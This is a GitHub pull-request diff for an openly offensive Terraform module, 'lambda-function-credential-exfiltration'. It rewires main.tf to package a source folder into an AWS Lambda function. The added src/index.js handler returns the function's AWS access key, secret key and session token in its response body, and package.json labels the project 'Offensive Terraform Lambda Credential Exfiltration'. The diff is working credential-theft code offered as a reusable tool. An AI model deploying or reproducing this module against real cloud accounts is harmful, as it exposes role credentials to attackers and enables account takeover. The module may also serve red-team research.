Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 8 additions & 2 deletions main.tf
Original file line number Diff line number Diff line change
@@ -1,10 +1,16 @@
data "archive_file" "payload" {
type = "zip"
source_dir = "src"
output_path = "${path.module}/.terraform/modules/lambda-function-credential-exfiltration/payload.zip"
}

resource "aws_lambda_function" "this" {
filename = ".terraform/modules/lambda-function-credential-exfiltration/payload.zip"
filename = data.archive_file.payload.output_path
function_name = "test"
role = var.role_arn
handler = "index.handler"

source_code_hash = filebase64sha256(".terraform/modules/lambda-function-credential-exfiltration/payload.zip")
source_code_hash = filebase64sha256(data.archive_file.payload.output_path)

runtime = "nodejs12.x"
}
Expand Down
Binary file removed payload.zip
Binary file not shown.
12 changes: 12 additions & 0 deletions src/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
exports.handler = async (event) => {

const response = {
statusCode: 200,
body: {
"AWS_ACCESS_KEY_ID": process.env.AWS_ACCESS_KEY_ID,
"AWS_SECRET_ACCESS_KEY": process.env.AWS_SECRET_ACCESS_KEY,
"AWS_SESSION_TOKEN": process.env.AWS_SESSION_TOKEN
},
};
return response;
};
5 changes: 5 additions & 0 deletions src/package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

12 changes: 12 additions & 0 deletions src/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
{
"name": "payload",
"version": "1.0.0",
"description": "Offensive Terraform Lambda Credential Exfiltration",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Itgel Ganbold",
"license": "ISC",
"dependencies": {}
}